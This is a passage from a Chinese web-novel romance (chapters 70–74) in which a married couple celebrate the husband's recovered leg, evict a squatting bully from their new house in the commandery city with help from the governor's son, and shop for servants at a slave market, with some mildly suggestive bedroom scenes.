房间逐渐暖和起来,热水泡着脚,两人身上的衣服越穿越少,最后只剩一身薄薄的里衣。 看书时奈宁,被男人揣在怀里,低沉的嗓音在耳边声声念着书上的字,原本就不堪入目的字眼越发烫人。 许多人新春守岁,他们也守了,就是用的一种不太单纯的守法。 他们家没有亲戚,春节当天不会有人上门讨红包。 除了山洞那一次,他们床事向来悠闲,房间烛火通明,奈宁红着脸坐在萧练身上,萧练手里卷着一本书,一本正经道:“我给你念书。” 奈宁没脸看,背过身去,他又起身将奈宁圈在怀里,双手伸到奈宁身前,指着书上的字教他认。 微凉的唇瓣时不时将奈宁的耳朵含进温热的口腔里,嗓音沾上情动,听着格外性感,不满道:“快一点啊。” 看夫郎着实不中用了,萧练翻身将夫郎轻轻放在床上,奈宁咬紧了床单。 …… 一年之计在于春,大年初一当日,不正经了半天,终于起床,萧练就试着弃拐走路。 奈宁身子还在发软,呆呆坐在床上,看着萧练走路,只觉得大少爷身材修长,光是看背影也好看,肩宽腰细腿很长,唯一就是左腿看着比右腿结实,不过不仔细看不甚明显。 看到男人回头冲他笑得灿烂时,还没反应过来发生了什么。 萧练又爬到床上,亲了亲他嘴角道:“怎么样?” “嗯?” 萧练笑道:“我刚才没拄拐,有没有……” 他没继续往下说,奈宁眨巴了下眼睛,回想起刚才大少爷走路并没有一拐一拐,惊喜之情满溢而出:“没看出来,你再走走!” 萧练轻咳一声,下地来来回回走了两步。 他走的很慢,不敢疾步。 “好了,真的好了!”奈宁眼眶莫名红了,一下子把人抱住,萧练将人揽进怀里,心里面也是酸楚。 其实落地的时候紧张死了,怕痛怕各种毛病,终于如愿以偿。 不过这才养了四个来月,不敢造次,乖乖的听夫郎的话继续再养养。 大年初六他们就备了重礼前往李府,人参燕窝灵芝,他们剩下的补品基本都挖出来了。 奈宁一点都不觉得心痛,这几天每天早上大少爷都走两步给他看,大少爷能正常走路了,这不是梦,他抑制不住欢喜,只想着快点告诉李御医,当然还要复查,看看接下来要注意什么。 恢复情况如此好,也是李御医没想到的,勉强收了支人参,奈宁直夸他医术高明,两袖清风,说得老人家老脸通红。 医治时表现得成竹在胸,不过是想让他们少点担心,幸好没砸他招牌,现在他们过来道喜,他比病人还要开心。 反复叮咛,循循渐进,切勿操之过急。 萧练道:“大半年都过去了,不会急于这一时。” 李御医拍拍他的手,反手给他开了几味补药。 70-76 第71章 第 71 章 郡城 转眼来到了三月, 萧练给钟三写了封信,告知他,自己不日前往郡城。 离开之前他们又跑了一趟镇上, 跟那买蘑菇的老板说, 以后可以到他们村子里收蘑菇。 回去路上,遇到了个意想不到的人, 浑身挠痒痒的萧得金, 就那么大咧咧地躺在街道上。 奈宁定睛一看,这家伙浑身脓疮,不由感慨道:“穷是穷了些, 也不能如此埋汰吧?” 萧练冷声道:“那估计是梅毒,我们早些离开吧。” 最近读的书有些多, 奈宁立刻就知道这梅毒是什么玩意儿, 不由啧舌。 近期之内不会死人, 但是忒能恶心人了! 马车路过的时候, 萧得金也发现了他们, 目光歹毒,立刻爬起来要追上来,幸好被其他的车挡住了。 奈宁心中一阵后怕, 他这么恨他们,要是像之前的奈大壮一样, 对他们家做些什么, 他们防不胜防,那可怎么办。 “别怕,我们回去就走。” “不要收拾一下?” “随便拿点行囊就行,房子租出去让他们住。” 奈宁晓得他说的他们就是那些书生。 他教了不少书生,那些书生欠了不少的夫子债, 到时要上村子里来教小孩念书还债。 用萧练的说法是,以后他到郡城也会忽悠一些人下来,这个学堂不会没有夫子。 “那咱们得提醒一下族长他们。” “嗯。”萧练冷淡地应了声,之前就跟他们说把这些人逐出村子。 一村子的人要把某一家人赶出村子,只要态度足够强悍,定是可以的。 现在好了,惹了这么恶心的病,不知道萧家其他人是不是也染上这种病。 萧练回村都觉得空气是污的,奈宁先出去通知族长,又喊在村子里教书的书生给学生备好功课,回来的时候行囊已经准备好了,萧练闷头在那里缝什么,看到他回来了,一声不吭将放在火炉上烘干了的一块布,蒙到他脸上。 奈宁噗嗤一声笑了。 萧练道:“小心些。” 大包小包的行李提到马车里,还有两只狗子,村子里人纷纷前来送行,没想到他们说走就走。 为防恐慌,奈宁将萧得金可能患上了梅毒之事,告知了村长,具体是不是,到时候得请大夫前来诊断。 希望不是,最好不是。 萧得金看他们那怨毒的眼神,扑上来追着他们马车跑的疯狂举动,就怕是的概率更高一些。 反正无论如何,他都要跟大少爷离开村子,他们不光走,还将本次教书的书生也带走了。 染上这种病不是开玩笑的,整村封锁,让自生自灭都有。 奈宁看到大家面有不舍,再看族长脸色凝重。 “希望村子没事。”奈宁叹息一声,坐回马车。 车夫鞭子一扬,跑得比啥都快。 很幸运没有遇到什么阻拦,顺利出了村。 虽然奈宁他们没跟他说,但那个发疯追着他们满身流脓的人,他也看到了,赶紧离开这村子才是上策。 他们没有赶夜路,在县城住了一晚,至于那些个书生,到镇上,各自归家,至于穷书生,另外给了盘缠。 奈宁去过最远的地方就是县城,两次去都是为大少爷寻医而去,马车还没走到郡城,官道所经村落肉眼可见的富裕些。 不少青砖屋,破茅屋没见着。 快到郡城时,官道两侧房屋多了起来,道路上行人车辆都多了许多。 还没进城,外围就好多摊子,人来人往甚是热闹。 这里这么多人不进城,城口还有官兵守着,奈宁还以为进城会受为难,结果简单检查与询问之后就让他们进去了。 奈宁心情都变好了很多,郡城跟县城差别还是挺大。 这里不能说每个人都绫罗绸缎,但穿着都整洁。不过舟车劳顿,没心情逛街,只想先找到宅子。 萧练带着他去房行寻房牙子,负责的房牙子是个中年人,带着个十四五岁的徒弟。 这房牙子是见过萧练的,立刻请入雅间,招呼徒弟去煮茶。 房子是早已经定好的,交了定金,一手交钱一手交货,房牙子凭萧练的收据去钱庄取钱。 这一切很快,萧练签字画押,房牙子恭恭敬敬的将房契递上来。 房牙子的徒弟出去泡完茶进来,发现他们手续都已经换好了,欲言又止。 师徒两将客人送出去。 奈宁问那个小徒弟:“有何事?” 那徒弟道:“公子的宅子……” 中年房牙子喝道:“还不回去收拾雅间!” 转过头来对他们俩又是和颜悦色:“小徒多嘴了,两位客官慢走。” 奈宁心中好生奇怪,他们的房子怎么了。 他们的新房子比奈宁想象中的还要大,看着比村子里的房子也要漂亮雄伟。 心头正欢喜,然而来到正门之前,又遇到了那个房牙子的徒弟。 很明显这少年一路好跑过来的,气喘吁吁:“萧公子萧夫郎你们的房子被人抢占了,方才不好意思,我师傅他也是怕得罪贵人……” 奈宁心里一咯噔:“那房契不是在我们手上吗?房契在我们手上不代表房子是我们的吗?” “是在你们手上,房子是你们的,但是有个人见那房子许久没住人,占了去。他、他的背景不是我们这些升斗小民能得罪的……” 萧练冷声道:“你现在来跟我们说有什么用,是想让我们放弃房子么。” 少年房牙子扑通一下跪下来:“不敢不敢,小人只是过来跟公子提个醒。” 奈宁摁了摁萧练的手,给了他个眼神,以示息怒:“那个人是什么来头,难道我们不能报官将房子要回来?” 奈宁没出钱,不知道那房子值多少钱,还算淡定。 “他是郡守大人家管事的小舅子,姓朱,大家都叫他赖皮朱,以前就是镇上有名的混混,自从他姐被那陈管事纳为妾之后,他一家鸡犬升天,在郡上横行霸道。” 萧练道:“那今日便是他横行霸道的末日,走!” 看夫君丝毫不惧,奈宁也有了信心。 少年房牙子咬牙跟了上去。 正门在一条大街道上,刚到门口,就看到房里有马车出来。 那马车大摇大摆的走在大路中间,看到萧练这边的马车挡在前面,丝毫不让,车夫大声喝道:“也不看看是谁,咱们朱公子出门你也敢挡,找死!” 萧练掀开帘子,撑拐从马车上下来。 那边的赖皮朱看马车许久没动,早忍不住跳下来了,正要破口大骂,一看到这边车子下来的是个瘸腿,不由哈哈大笑:“一个死残疾也敢挡我的路!” 萧练怕一会要打架,想了想还是拄着拐过去,他是个书生,看着文弱,其实比那赖皮朱高出一个脑袋。 “臭小子找死啊,敢挡老子的路!” “这里是我的宅子,请你们离开。” 他突如其来蹦出来的一句话,不光是赖皮朱,对面的人都愣住了。 赖皮朱上下打量了许久这书生,这房子挺不错,还以为是什么富贵人家置办的府宅,却不想原来是这么一个破落书生,不由叉腰嗤笑道:“你说是你的就是你的,老子住进来了就是老子的!你小子给我让开,否则我弄死你!” 他说着撸起袖子,只见对面的书生半步不让,严肃的神情,嫩白的脸皮,让他有些不敢动手。 以前他不过就是个人憎鬼厌的地痞流氓,发达不过是最近几个月的事,往时遇到这种书生,都是要远远躲着走,衣角都不是他能赔得起的。 刻在骨子里的害怕,叫他不敢动手,但是看对方那一副看狗一样的神情,又莫名被刺伤,想到自己今非昔比,扬了扬拳头道:“你可知道我姐夫是谁,再不识好歹,小心我不客气!” “你姐夫是谁我不晓得。”他掏出一张纸,二指夹着:“这是此宅宅契,这是我家,请你搬离。” 周边围了不少人议论纷纷。 “我就说嘛,这房子怎么可能是赖皮朱买的,去年差不多这个时候就看到这位公子跟他家人过来看房子了,当时房牙子还说这房子被定下来了,后面他们没有来,这房子一直空置在此,直到这赖皮朱他姐被……他就大摇大摆搬进来,现在人家主人回来了,还这么恬不知耻的说这是他的房子!” “民不与官斗,能怎么办呢?” “官?他可不是官!不过是官老爷家里养的一条狗,外边施舍过的蝼蚁!” “你这话说的,敢不敢对着赖皮朱的面说一遍?” “哼,这房子少说也值个两三千两,一个小小蝼蚁,就这样把房子让给他,想屁吃呢,若我是这位公子,定然是要报官,告到他狗屎淋头!” 声音大了些,被赖皮朱听了去,顿时暴跳如雷,向人群扫荡:“谁谁说老子是蝼蚁!” 萧练道:“说你是蝼蚁,都侮辱了蝼蚁!” 赖皮朱恨得牙痒痒,再也不顾不上许多,举起拳头就冲萧练抡过去。 奈宁见事情不对,早派了车夫拿着折扇赶去寻钟三公子,那少年房牙子帮着引路。 奈宁跳下马车,刚要过去帮忙,谁知道他夫君一个侧身,同时拐杖稍稍一拌,那赖皮朱便因用力过猛扑倒在地,顿时牙齿都磕崩了,半个满脸尘土。 痛得他撕心裂肺大叫起来,恨为何今日没有呼朋唤友。 这时正值傍晚,他原本出门想舒服舒服,并不打算带那些只知道蹭他钱财拍他马屁的流氓瘪三,谁知就遇到了这档事。 爬起来时,踹了一脚扶他起来的车夫,喝道:“蠢货,还不去找我姐夫前来撑腰,我让他死得难看!” 突然一道幽幽的声音响起:“你姐夫是谁,我帮你叫来了。” 第72章 第 72 章 赔偿 “大老远走到这里就闻到好大的口气!” “钟三公子来了, 嘿嘿,这下有好戏看!” “这位公子前脚刚出事,后脚钟三公子就来了, 他的身份怕是不简单呀!” “废话, 身份简单,能住这么大的宅子!” 奈宁没细看萧练写给钟三的信, 刚派车夫去喊, 立刻就把人喊来了,乍然还挺愣的,回想了一下, 好像夫君跟他说过哪日傍晚约钟三公子跟丽娘吃个饭,算算时间正是今日。 难怪路上还慢悠悠的在别外住了两天, 这是算准时间不要来的太早, 原以为还要收拾一番再请人做客, 结果他是收拾都没收拾就请人做客了。 不过想想也是, 大少爷经一事长一智, 定然能猜到这房子放在这里这么久,会有些猫猫狗狗看上。 这位郡守家的三公子可没人不认识,养花遛鸟, 不务正业,成亲之后稍稍像点话, 但也是拉着媳妇天南地北的跑。 他虽然排行老三, 但大哥是哥儿,二哥是庶出,还是颇受重视。 去年八月他们没回来,跟着他们的护卫回来了,说是这位三公子从来不让他们近身保护, 让他们在客栈等,等到了晚上都没看到人。 进山搜索几日也没看到人,上面的人天塌了,刚派人出去找,结果人又回来了,结果就是钟三公子自己回来了。 从那以后这一对夫妻不敢乱跑了。 钟三也乖乖回学堂念书去了。 赖皮朱看到他那张脸,活像吞了屎一样,腿脚都跟着发起抖来,扑通一下跪倒在地:“钟三公子……” “萧兄,这便是贵宅?我还是每次经过都这样想,这谁家,如此有品位!” 萧练轻笑道:“正是,走,进去一叙。” 说着将手上的纸抓了一团,随手丢在地上,也不管地下跪着的赖皮朱,钟三公子好像也没看到他那样,直接走了进去。 奈宁将丽娘也请了进去。 赖皮朱看到地上的纸团,眼一亮,抓了起来,打开一看,上面不过一张空纸,狠狠的掷在地上啐了一口,刚才他还想扑过去抢这张纸,若是将房契抢过来,这房子不就光明正大是他的吗? 谁知道这书生拿了一张空纸来这里忽悠他! 赖皮朱的车夫哆哆嗦嗦道:“朱少爷,怎、怎么办?” 赖皮朱咬着牙,能怎么办,他恨不得立刻就跑,但他爹娘还有妻妾都还在里面! 这哪里是忽略他,分明是瓮中捉鳖! 突然想到什么,他心脏提到了嗓子眼,这两天刚捉了一个小妞回来,锁在后院,让他爹娘帮忙看着,别出了事,这会他们突然闯进去,他爹娘可别坏事啊! 如此想着他赶紧跑进去,若是发现有什么不对,也能早些应对。 刚走进去,就看到几个汉子妇人,这些人见到陌生人刚要呵斥,一眼看到钟三顿时软了腿脚再也不敢乱说,任他们长驱直入。 萧练跟钟三走在前面,钟三握着折扇赞道:“这房子果真不错。” 凉亭走廊山水,绿树成荫,鸟语花香,一步一景。 可不是不错。 前面走的两个人赞叹不已,后面走的哥儿姑娘也是连连点头满脸笑容。 这房子这么好,竟然被那些无赖占了去想想就恶心。 赖皮朱听到声音刚想要洋洋得意,突然听到前面一道清淡声音说:“确实不错。” 顿时想到这不是他自己的房子,恨得牙痒痒,突然心生歹意,现在他们进了自己的地盘,要不直接将他们杀了,一了百了! 他面露狠色,将车夫勾过来,在他耳边悄悄说了几声什么,车夫面露疑色,他急速喝道:“去,事成之后,把房子卖了,给你一半钱!” 车夫想了想,便去了,当然他不是如赖皮朱所说,帮他去喊兄弟来砍,而是灰溜溜的跑了。 这货傻就算了,他才不会跟着犯傻,这么多人看着钟三公子跟这位宅主进去了。 到时候人不见了,郡守大人能把他们碎尸万段。 赖皮朱却不知,心中存了些得意,现在他暂且忍着,等他兄弟来了,全都要死! 到时候人死了,他把他们钱财扫荡一空,逃命去,那些被他喊来的兄弟就给他当垫背羊吧! 萧练他们一路往前,在没看到人,一直来到了后院。 刚走近一下子热闹起来,两道听着有些混浊的声音,跳脚骂着什么。 钟三赶过来的时候,路上就听车夫说了到底遇到了什么事,就是房子被占了。 有意思,在他父亲眼皮底下强抢民宅,主人家来了还大言不惭恐吓,他家的家务也可以换一批了。 顺着声音走去,先看到两个老人,地上跪着一个女人,被两个哥儿牢牢束缚着。 那老阿婆骂道:“你个死老鬼,一个孙子都还没有,儿子带回来的女人,你还觊觎上了,天天过来动手动脚,我弄死你!” 扑过去就跟那老头打作一团,被老头狠狠踹了一脚,又扇了两个耳光:“你个死老太婆,我做什么关你什么事?你还好意思说,只给我生了一个儿子,要不是年轻时穷我早就把你休了,现在还来这里管三管四,儿子生不了我帮他生,怎么都是我们朱家的骨肉!” 这句话实在恶心,那两个压着地上跪着女人的哥儿也表现出一脸恶寒的神情,按着那女人的力道更紧了些。 朱老太在朱老头这边受了打,恶狠狠的咬牙,一双混浊的眼珠子发出绿光,突然扑向地上跪着的那个女人,拼命撕扯她的头发,挠她的脸。 那两个哥儿对视一眼,默契的放松了些力道。 那女人骤然扑起反击,狠狠揪着朱老太的头发,一巴掌一巴掌扇着她的脸。 一个老人跟一个年轻妇人撕扯成一团,老人很快落了下风,嗷嗷哭喊着:“等我儿子回来,我让他浸你猪笼,你千死万死不足惜,我要噬你肉啃你骨!” 所有人包括朱老头,都冷眼看着她们扭打在一起。 现在发达了,要是能甩掉这死老太婆,不知有多开心。 可惜一双儿女都是她生的,先不管孝不孝顺,反正肯定不给他乱来。 平时悄悄摸摸来也行,就是这个死老太婆看得紧,一点事情大吵大闹。 赖皮朱也没理,最好两个老的都打死了,他也不用被拖后腿。 朱老头好久才发现这边有异,扭过头来看到好多人看他们家热闹,顿时黑了脸,他眼神不好,只看到站在前面高大的身影,没看到躲在后面他的儿子:“你们是谁,谁让你们擅闯我们家后院!” 钟三道:“好不要脸,哪里是你们家!” 朱老头光听到声音没看清楚人,闻言略窘,立刻恼羞成怒,喝道:“来人,人都死哪里去了?还不来人!” 在他发疯乱喊时,有匆忙的脚步声靠近,赖皮朱跟朱老头大喜。 以为打手家丁来了,朱老头疾步往外走:“来人给我弄死他们!” 走近了看到两个漂亮的哥儿姑娘,一喜,扭头看清了钟三的脸,悚然一惊,指着钟三颤手喝道:“男、男的弄死,哥儿姑娘留下!” 他原本觉得这些人进来就能说出这宅子不是他们的,来者不善,于是立刻心生杀意,此刻看到钟三,狰狞的面目都被他看到了,更加不能留活路。 赖皮朱心中狂喜,狼狈逃出来,指着前面方向:“杀!杀了他们!兄弟们杀了他们!他们身上有很多钱,这宅子我们卖了,钱共分!” 谁知刚跑到门口,脸色立刻变了。 进来的并不是他的兄弟,而是陈管家。 朱老头跑过来也发现了不对,进来的哪里是家丁打手以及儿子那些猪朋狗友,分明是陈管家,后面还带了好多人。 赖皮朱也不知道哪条筋抽了,没注意到这些人脸色不对,又为何会出现在这里,突然又笑起来跑到陈管家跟前,扯着他的手臂说:“姐夫你来的正好,今天我们要发达了,这两位身上很多钱,只要我们把他们杀了……” 话没说完,陈管家狠狠一脚踹下去:“你好大的胆子!” 说完扑通一声冲前面的钟三跪了下去,连连磕头:“三公子,他是我新纳小妾的兄弟,实在是我管教无方,让他借着我的名头在外招摇撞骗!” 朱老太也发现了这边的不对,啊啊叫着别打了别打了,但那个女人没听到一样,狠狠地往她身上踹。 她身上伤痕累累,都是拜这个狠心的老太婆所赐。 钟三笑道:“萧兄,你什么意思?” 萧练看向奈宁:“夫郎,你说呢?” 奈宁道:“住这么久,总该赔点租金吧!” 赖皮朱被陈管家踹懵了,被陈管家又踹了一脚才反应过来,想到只要赔点租金,顿时松了一口气:“赔赔赔,我们立刻就赔!” 他们不过住了小半年,随便给点钱,还能东山再来。 “这宅子原本没人住,我们看空着可惜,这才进来住了两三个月,就算足三个月,算一两……” 他原本想搞一个月一两算,看陈管家面色发狠,赖皮朱又立刻改口,狠心道:“按一月十两,我们赔……” 刚要说三十两,陈管家一口咬定:“一百两!” 赖皮朱吓得瞪目结舌:“一、一百两……” 他不是没有,最近坑蒙拐骗不少钱,但不舍得给,好似剜心割肉一般,痛心疾首道:“好,我给,一百两就一百两!” 说着就要去取钱,钟三却喝住了他:“哪有这么容易!一百两只能是正经租房的钱,你们不请自入,污了这宅子,不得十倍赔偿!” 第73章 第 73 章 新居 那一家子哪有这么多钱, 把家底都搬空了,最多也就凑出个五百两,陈管家给自己扇了一记, 全身银两金银珠宝赔偿也就摸约有个三百两。 钟三道:“萧兄嫂子, 要不这钱你们就暂且先收下?” 看他们愿意收钱,赖皮朱刚要松一口气, 钟山突然一脚踹了过来:“你个地痞无赖, 短短三个月就能捞到五百两的油水,押下去好好审问!” 赖皮朱一下子没反应过来为何是说短短三个月能捞到五百两的油水,想了半天突然想起自己说是两三个月前进来住, 大声喊着冤枉冤枉,钟三一挥手被蜂拥而来的汉子束着拖着走, 他老爹老娘, 还有那哥儿女人全都押了回去。 奈宁进账八百两, 有些过沉了, 一点也不嫌重, 眉眼都变得弯弯的。 破事处理清了,他们这回才有空说话,钟三道:“萧兄这腿脚如何了?” 萧练道:“尚好, 还需养护。” 或者将拐递到钟三这边,自己走了两步。 钟三丽娘连连贺喜。 两人对视一眼, 丽娘身后跟着一个丫头将一份礼盒递上来, 丽娘亲自端过来递给奈宁:“原本前来贺萧兄弟宁哥儿乔迁之喜,以及谢上一次出手相救之恩,不想遇到这种事,切勿因为这种人埋没了好心情。” 奈宁尴尬道:“我们准备不周。” 钟三道:“哪里呀?哪里?进城便告知我们,这是看重我们!” 奈宁接过礼盒, 浑身上下顿时更重了,萧练过来将那几百两银子先拿下。 这房子被人住了那么久,他们的东西放里面反而不安全,丽娘道:“我差人钱来帮你们打理一番。” “也好,麻烦了,我们先到外边聚一聚,他日房子打理好了,再请两位前来相聚。” 这一番话奈宁绞尽脑汁才想出来,他看向他夫君,他夫君没说话就等他说,看他看过来就冲他笑。 他们的车夫刚将马安顿好,带了两只狗子出来,看到他们,乖乖待命。 奈宁道:“劳烦车夫大哥帮忙看家,待会钟三公子的人会上门帮来清理宅子。” 车夫连声应好,他是这两位租来的,这一段行程不紧,呆一天就有一天的工钱,让他留在这里也是有工钱的,自然乐呵呵答应。 几人先去银庄存了银子,换成银票,客人还在,那礼盒也不好拆开,还是带着去了客栈。 这里的客栈比县城里的豪华太多了,专门的雅阁,还有名伎在侧或舞或喝。 这客栈是钟三脑子一热介绍来了,此刻看着这名伎,再看看自家的夫人、那边的嫂子,满脑门热汗,结果发现自己夫人跟嫂子看得比他们还入神。 这个客栈酒菜摆盘精致,叫人不忍下手,一大盘一大盘的端上来了,还以为菜点的多了,结果一吃只有一点点,都还没吃过瘾,光盘了! 接下来好几道菜都是如此。 这一道一道菜,不足以让人吃饱,却价钱不菲。 只能说确实很享受。 吃完饭还有糕点瓜果,热茶更是不断,专门的茶师在旁泡茶,什么茶都有,随意品尝。 就是付钱时花了十几两银子。 奈宁一下子懵了,对银两没了概念。 在乡下一天赚十几文是多的,这里一天花十几两,多少倍来着? 千倍! 三年不吃不喝才能存到这点钱。 他们在里头吃了怕是有一时辰,出来时街道还挺热闹,行人自己提着花灯,还有些带面具的。 奈宁给自己还有丽娘各买了个花灯,走到河边发现有不少人放河灯,无数河灯飘浮在漆黑的河流像银河。 这会清明刚过,想到逝去的亲人,奈宁默默买了三盏灯,想了想又添了一盏,给族谱上的祖先。 看着它们飘远,消失在视野里,好像真的能到达那个地方。 回到新宅,家里翻天覆地变了个样,原本就不错的宅子越发雅致。 钟家奴仆有的刚忙完,有的还在忙着,原本给主人住的房间家具焕然一新,门窗都重新清洁了一遍,房间里还摆上新的花。 奈宁还没做过如此雅致的房子,脸上都是笑。 萧练喊来领头的奴仆,给了赏钱,打发走了。 房门一关,萧练笑道:“夫郎,不看一下盒子里是什么?” 奈宁进门时将盒子一放,就西汉地欣赏房间去了。 这会才把钟三送来的礼盒打开,这玩意儿挺沉,没扛多久手都酸了,一路还是萧练帮他拿着。 钟三丽娘看到也是欲言又止。 礼盒是木头做的,所以沉,小心打开,里面静静卧着一枚玉如意。 奈宁惊讶出声,这玩意他也只在戏剧里看到过。 萧练将夫郎拉过来,让他坐在自己腿上,看着他一脸惊喜的表情,心里也高兴。 奈宁小心捧着玉如意越瞧越喜欢,忍不住亲亲夫君的脸蛋:“夫君厉害,有先见之明!” 这玉如意不知道值多少钱,但钟三那一份钱真是没白给。 萧练道:“哪里,分明是夫郎善良!”说着也亲着奈宁的嘴儿:“若不是夫郎坚持要带上他们,我才不管。” 奈宁笑了笑,他夫君一朝被蛇咬十年怕井蛇,也是可以理解。 “我是看他对妻子好,想来不是坏人。” “所以夫郎才是好眼光!” 玉如意被放了回去,萧练把盒子盖上推到一旁,跟夫郎亲密起来。 今日在外奔波,这会才有空歇息,尚未洗澡,本不该乱来,但现在心里开心,顾不上许多,吻越来越深,气息纠缠在一处,衣服一件件坠落,仅剩一件里衣,奈宁有些冷,哼了声:“冷。” 男人一下将他抱起来,不一会落到床上。 他先去看男人的腿:“疼不疼?” 萧练在他耳边轻语道:“不疼,若夫郎不信,我这便给夫郎瞧瞧。” 说着手指落在腰带上,指尖轻动。 分明在一起许久,每每看到夫君如此动作依然止不住,面红耳赤。 男人将他的手拉过来,在他耳边说:“夫郎不帮我了么?” 奈宁的手被他抓了去,摁在腰上,清凉的衣物坠地,触到滚烫的肌肤。 奈宁忍不住看了一眼,脸更烫,嘴角止不住弯起笑来。 有个人有些恬不知耻,问他:“喜欢吗?” 奈宁不语,他凑上去轻轻厮磨奈宁的唇瓣,低声喃喃着夫郎夫郎。 拉着他的手已经开始动作,奈宁烫得像被烧起来低声说:“不是要看腿吗?” 萧练跪到奈宁跟前:“一会便知。” 夜间还是有些寒冷的,两人身上出了一层密密的汗。 奈宁躺在床上脸色潮红,萧练出去打热水了,他还在想他到底知道了什么? 顶多是腰力强悍,跟腿有什么关系? 奈宁还以为水要烧一阵子,结果萧练很快将热水抬回来。 “他们还帮咱们烧了热水。” 奈宁也挺开心,笑道:“这么好。” 这房子太大了,现在这种时候他可不想离开夫君太久,刚才还想支撑着起来看看。 之前房子里住过其他人,还是让他觉得不安全,好像随时有人翻墙进来一样。 “我们家狗子呢?” “应该休息了。” 今日光顾着开心,都忘记狗子了。 “明天再带它们出去走走。” “好。” 萧练将奈宁抱起来洗了澡,回了精神,又闹了一回,早上起来得晚。 奈宁只觉得肚子空空瘪瘪,饿的慌,男人还躺在旁边,看他醒了,冲他一笑。 奈宁推了推他道:“你不应该起床读书了吗?” 萧练委屈道:“搬入新居第一天,我夫郎就急着将我赶出房!” 奈宁张了张嘴,别人都是红颜祸水,他家蓝颜祸水。 萧练很快给自己找台阶下,蹭了蹭奈宁道:“今日先偷一日懒,明日定然好好学习,好不好嘛,夫郎?” 奈宁哪敢说不好,一会不知又要说出什么惊天话语,解释道:“不是要赶你出房,只是想让你好好读书。” “我会好好读书的!”萧练表着忠心有用道:“不敢说状元榜眼探花,多少也给夫郎赚个进士回来!” 奈宁满脸是笑,连声说:“好好好!” 起了床才发现桌面上竟早已布了丰盛的朝食,不用说,定是他家良人备的。 奈宁笑道:“原来你早已起了。” 萧练满脸得瑟:“那是!其实我还看了一会书!” 把奈宁逗得乐个不停。 家里两只狗已经在院子里扑腾玩耍了,奈宁逗着狗子玩。 萧练将车夫大哥喊了过来,让他帮忙把那个小房牙子喊过来,看有什么长工介绍。 偌大的院子,他们夫妇两个照看不过来,最好还是请些厨娘护院,最好是身份清明的人家,多花点钱都没关系,不然以后他去学堂,可不敢将夫郎一个留在家里。 恶奴欺主。 之前他家用的是一个服侍娘亲多年的嬷嬷,连他的书童也是那嬷嬷的儿子,偷家里的东西去卖就算了,还以长者身份骑到他身上教育他,意图让自己的儿子与他享受同等待遇。 说他们俩从小一处长大,应该情同兄弟。 他娘倒是想对那个人的儿子好,他不乐意,没有人可以跟他共享一个东西,他的床要是谁敢睡,他直接家也不回。 那一家子为了报复他有多狠呢?往他衣服纸墨笔砚里藏作弊之物。 他厌恶上那一家子之后,根本就不会用那一家子碰过的任何东西。 等他考完试,把这些证据摆到他娘跟前。 他娘妥协了,将那一家子扫地出门。 现在他不想用一家人,最好从房牙子那里寻几个人来用着,他们给钱,对方办事,划清界限。 这个奈宁就不管了,看着夫君忙碌,见他得意忘形没拄拐,默默地将拐杖塞到他手中。 萧练脸上沉郁的神情一扫而光,立刻化为灿烂的笑容。 第74章 第 74 章 买奴 少年房牙子来得挺快, 差点没跪下:“老爷夫郎,您唤小的一声二顺子便好,想要什么, 小的这就给您找。” 萧练与奈宁跟着他回店里, 去找中意的奴仆。 那些奴隶一个个捆着手脚,在院子里等着挑选。 去挑奴隶的人还不少, 大户人家都是管事之类的来挑。 但也有一些普通人家来挑人, 跟着他们一块挑的,有个脸瘦得脱相形容猥琐的男人,他看奴隶也不好好看, 偏往奈宁这边看。 看到人家相公是个拄拐的书生,更加肆无忌惮跟着走了一路。 看他哈喇子都要流出来了, 奈宁恶心不已, 要是在村子里, 他就捡石头砸过去, 现在却不知怎么办才好。 萧练将他往自己这边拉, 狠狠一棍砸下去:“眼睛不要就挖了!” 他这一棍半点力道都不留,那只手常年柱拐的,力道可沉, 那瘦子头都要裂了,正要发飙, 二顺子赶紧上来:“这位老爷跟夫郎是位贵公子的贵客, 那位贵公子让我们好生招待他们。” “什么贵公子,老子就是贵公子!” “那位贵公子可不是您这位贵公子也惹得起的。”二顺子靠得稍稍近了些,低声跟他说了四个字:“钟三公子。” 见他还不晓得那是谁,便道明:“郡守大人家的三公子。” 那瘦子陡然一惊:“他、他是?” 二顺子心里摇摇头,连钟三公子都不认识, 这人定不是城里人。 二顺子索性也不跟他废话,直接明说了:“他们是钟三公子的朋友。” 瘦子捂着头上的伤,想认怂又不甘:“那、那又怎么样?这就可以仗势欺人了吗!” 二顺子道:“这位公子,若我没看错,是您有错在先,您盯着这位夫郎瞧个不停。” 萧练怒喝:“仗势欺人又如何,你自己就没有仗势欺人么?欺我夫郎是哥儿,欺我腿瘸,那位大老爷带着那么漂亮的妻妾,怎么不见你去多看两眼!” 说着越想越气,举拐又要打。 瘦子赶紧跑了。 萧练垂眸,见夫郎笑着看自己,刚要回笑却听他说:“刚才你说什么?谁带着漂亮的妻妾?” 萧练一噎:“若我说我都没看清他们的脸,你信么?” 奈宁哼了的一声走到前面去了,萧练在后面直追,解释了一路,着急地赶到夫郎跟前去,发现他捂嘴笑个不停。 “逗你玩呢。”奈宁道。 萧练伸手来拉奈宁的手道:“在我心里,夫郎永远是最好看的。” 奈宁对上男人的眼眸,男人看着他,漆黑的眸子没有再看到其他。 奈宁轻轻笑道:“好啊。” 院子里有好多奴隶,男女老少,美的丑的都有。 大多数出挑的都被大户人家挑去了,零星一两个姿色出众的哥儿姑娘。 奈宁看到他们有些恍惚,所以一开始自己没逃出去,现在就是这个命运,甚至比这个命运还要更惨些。 他们走向一个哥儿,那个被萧练敲了一棍的瘦子,好像天上掉元宝不抢就没了那般饿狼扑食扑了过来:“这小哥儿是我先看上的!” 说着就去拉那小哥儿的手。 那小哥儿长相出众了些,但也不过十三四岁,满脸惶恐,突然跪下来冲萧练奈宁磕头:“老爷夫郎,求求你们买了我吧,我给你们做牛做马来报答!” 奈宁道:“多少银两?” 二顺子道:“三十两。” 三十两,很贵了,那小哥儿心里直咯噔,赶紧又磕了两个头。 瘦子道:“我先看上的,老子有钱!” 说着掏出了一个鼓囊囊的荷包,从里面掏出两枚银子。 但没有人看他,大家都看着奈宁。 奈宁说:“留着。” 扭头跟那小哥儿说:“先别磕了,我们还要再看看。” “谢夫郎谢夫郎!”说着又磕了两个。 奈宁摇摇头。 瘦子见这个被买了,咬了咬牙,他原本想来买姑娘的,看到别人的夫郎突然起了邪念,于是中途想改买哥儿。 这会再看其余的哥儿都一般,怎么看都不满意,便开始看起姑娘。 奈宁拧眉看着这人,光感受到他的视线就觉得恶心,那些被他买回去的人,该怎么恶心呢! 